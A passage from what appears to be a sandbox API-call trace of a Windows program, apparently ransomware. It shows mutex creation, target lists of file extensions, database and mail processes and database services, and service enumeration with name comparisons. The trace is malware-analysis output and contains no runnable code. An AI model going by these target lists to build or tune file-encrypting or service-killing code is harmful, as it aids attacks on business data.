(HeapHandle=0x790000, Flags=0x0, Size=0x20) returned 0x8016b8 [0034.533] QueryPerformanceCounter (in: lpPerformanceCount=0x18e4b4 | out: lpPerformanceCount=0x18e4b4*=15483644607) returned 1 [0034.533] GetTickCount () returned 0x1143a05 [0034.533] GetCurrentProcessId () returned 0x950 [0034.534] GetTickCount () returned 0x1143a05 [0034.534] GetTickCount () returned 0x1143a05 [0034.534] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x20) returned 0x8016e0 [0034.534] GetVersion () returned 0x1db10106 [0034.534] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x7) returned 0x7b5cc0 [0034.534] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc630 [0034.534] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc630, Size=0x20) returned 0x801730 [0034.535] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x801730, Size=0x40) returned 0x7e2b00 [0034.535] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x8470a0 [0034.535] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_20BAM8A") returned 0x0 [0034.535] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_20BAM8A") returned 0x2b8 [0034.535] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7b5cc0 | out: hHeap=0x790000) returned 1 [0034.535] lstrlenW (lpString="Global\\syncronize_") returned 18 [0034.535] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e2b00 | out: hHeap=0x790000) returned 1 [0034.535] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x7) returned 0x7b5cc0 [0034.535] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc630 [0034.535] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc630, Size=0x20) returned 0x801730 [0034.535] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x801730, Size=0x40) returned 0x7e2b00 [0034.535] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x8570a8 [0034.535] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_20BAM8U") returned 0x0 [0034.535] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_20BAM8U") returned 0x2bc [0034.536] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7b5cc0 | out: hHeap=0x790000) returned 1 [0034.536] lstrlenW (lpString="Global\\syncronize_") returned 18 [0034.536] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e2b00 | out: hHeap=0x790000) returned 1 [0034.536] GetVersion () returned 0x1db10106 [0034.536] GetCurrentProcess () returned 0xffffffff [0034.536] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18e4a0 | out: TokenHandle=0x18e4a0*=0x2c0) returned 1 [0034.536] GetTokenInformation (in: TokenHandle=0x2c0, TokenInformationClass=0x14, TokenInformation=0x18e49c, TokenInformationLength=0x4, ReturnLength=0x18e4a8 | out: TokenInformation=0x18e49c, ReturnLength=0x18e4a8) returned 1 [0034.536] CloseHandle (hObject=0x2c0) returned 1 [0034.536] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0x0) returned 0x0 [0034.536] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0x3e8) returned 0x0 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x803bc8 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc630 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc630, Size=0x20) returned 0x801730 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x801730, Size=0x40) returned 0x7e2b00 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2b00, Size=0x80) returned 0x8670b0 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8670b0, Size=0x100) returned 0x8670b0 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x34) returned 0x7cb690 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5cc0 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5cd0 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5ce0 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc630 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5cf0 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc678 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5cf0, Size=0x8) returned 0x7b5d00 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc690 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d00, Size=0x10) returned 0x7fc6a8 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc6c0 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc6d8 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc6a8, Size=0x20) returned 0x801730 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc6a8 [0034.536] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc6f0 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5cc0, Size=0x8) returned 0x7b5d00 [0034.536] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5cd0, Size=0x8) returned 0x7b5cc0 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5cd0 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc708 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5cf0 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc720 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5cf0, Size=0x8) returned 0x7b5d10 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc738 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d10, Size=0x10) returned 0x7fc750 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc768 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5d10 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc750, Size=0x20) returned 0x8063b0 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d00, Size=0x10) returned 0x7fc750 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5cc0, Size=0x10) returned 0x7fc780 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5cc0 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc798 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5d00 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc7b0 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d00, Size=0x8) returned 0x7b5cf0 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5d00 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc7c8 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5d20 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc7e0 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d20, Size=0x8) returned 0x7b5d30 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc750, Size=0x20) returned 0x8063d8 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc780, Size=0x20) returned 0x806400 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5d20 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc780 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5d40 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc750 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d40, Size=0x8) returned 0x7b5d50 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x803be8 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x803c08 [0034.537] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0034.537] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8670b0 | out: hHeap=0x790000) returned 1 [0034.537] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18e4ec | out: lpWSAData=0x18e4ec) returned 0 [0034.537] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc7f8 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc7f8, Size=0x20) returned 0x806450 [0034.537] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806450, Size=0x40) returned 0x7e2b00 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2b00, Size=0x80) returned 0x8670b0 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8670b0, Size=0x100) returned 0x8670b0 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc7f8 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc7f8, Size=0x20) returned 0x806450 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806450, Size=0x40) returned 0x7e2b00 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2b00, Size=0x80) returned 0x8671b8 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8671b8, Size=0x100) returned 0x8671b8 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc7f8 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5d40 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d40, Size=0x8) returned 0x7b5d60 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x803c28 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d60, Size=0x10) returned 0x7fc828 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x803c48 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x806450 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc828, Size=0x20) returned 0x806478 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1c) returned 0x8064a0 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x16) returned 0x803c68 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x8064c8 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc828 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5d60 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40) returned 0x7e2b00 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d60, Size=0x8) returned 0x7b5d40 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3c) returned 0x7e2b90 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d40, Size=0x10) returned 0x7fc840 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x803c88 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x803ca8 [0034.538] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc840, Size=0x20) returned 0x8064f0 [0034.538] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x7def90 [0034.538] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0034.538] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8670b0 | out: hHeap=0x790000) returned 1 [0034.538] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0034.538] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8671b8 | out: hHeap=0x790000) returned 1 [0034.538] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x806590 [0034.539] EnumServicesStatusExW (in: hSCManager=0x806590, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18e488, lpServicesReturned=0x18e4a0, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18e488, lpServicesReturned=0x18e4a0, lpResumeHandle=0x0) returned 0 [0034.540] GetLastError () returned 0xea [0034.540] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x11e4) returned 0x867510 [0034.540] EnumServicesStatusExW (in: hSCManager=0x806590, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x867510, cbBufSize=0x11e4, pcbBytesNeeded=0x18e488, lpServicesReturned=0x18e4a0, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x867510, pcbBytesNeeded=0x18e488, lpServicesReturned=0x18e4a0, lpResumeHandle=0x0) returned 1 [0034.541] CloseServiceHandle (hSCObject=0x806590) returned 1 [0034.542] lstrlenW (lpString="Appinfo") returned 7 [0034.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0034.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0034.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0034.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0034.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0034.542] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0034.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.542] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0034.542] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0034.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0034.542] lstrlenW (lpString="AudioSrv") returned 8 [0034.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0034.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0034.542] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0034.542] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0034.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0034.542] lstrlenW (lpString="BFE") returned 3 [0034.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0034.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0034.542] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0034.542] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0034.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0034.542] lstrlenW (lpString="CryptSvc") returned 8 [0034.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0034.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0034.542] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0034.542] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0034.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0034.542] lstrlenW (lpString="CscService") returned 10 [0034.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0034.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0034.542] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0034.543] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0034.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0034.543] lstrlenW (lpString="DcomLaunch") returned 10 [0034.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.543] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0034.543] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0034.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0034.543] lstrlenW (lpString="Dhcp") returned 4 [0034.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0034.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0034.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0034.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0034.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0034.543] lstrlenW (lpString="Dnscache") returned 8 [0034.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0034.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0034.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0034.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0034.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0034.543] lstrlenW (lpString="DPS") returned 3 [0034.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0034.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0034.543] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0034.543] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0034.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0034.543] lstrlenW (lpString="eventlog") returned 8 [0034.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0034.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0034.543] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0034.543] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0034.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0034.543] lstrlenW (lpString="EventSystem") returned 11 [0034.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0034.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0034.543] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0034.544] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0034.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0034.544] lstrlenW (lpString="gpsvc") returned 5 [0034.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0034.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0034.544] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0034.544] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0034.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0034.544] lstrlenW (lpString="iphlpsvc") returned 8 [0034.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.544] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0034.544] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0034.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0034.544] lstrlenW (lpString="LanmanServer") returned 12 [0034.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0034.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0034.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0034.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0034.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0034.544] lstrlenW (lpString="LanmanWorkstation") returned 17 [0034.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0034.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0034.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0034.544] lstrlenW (lpString="lmhosts") returned 7 [0034.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0034.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0034.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0034.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0034.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0034.544] lstrlenW (lpString="MMCSS") returned 5 [0034.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0034.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0034.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0034.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0034.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0034.545] lstrlenW (lpString="MpsSvc") returned 6 [0034.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0034.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0034.545] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0034.545] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0034.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0034.545] lstrlenW (lpString="Netman") returned 6 [0034.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0034.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0034.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0034.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0034.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0034.545] lstrlenW (lpString="netprofm") returned 8 [0034.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0034.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0034.545] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0034.545] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0034.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0034.545] lstrlenW (lpString="NlaSvc") returned 6 [0034.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0034.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0034.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0034.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0034.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0034.545] lstrlenW (lpString="nsi") returned 3 [0034.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0034.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0034.545] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0034.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0034.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0034.545] lstrlenW (lpString="PcaSvc") returned 6 [0034.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0034.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0034.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0034.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0034.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0034.546] lstrlenW (lpString="PlugPlay") returned 8 [0034.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0034.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0034.546] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0034.546] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0034.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0034.546] lstrlenW (lpString="Power") returned 5 [0034.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0034.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0034.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0034.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0034.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0034.546] lstrlenW (lpString="ProfSvc") returned 7 [0034.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0034.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 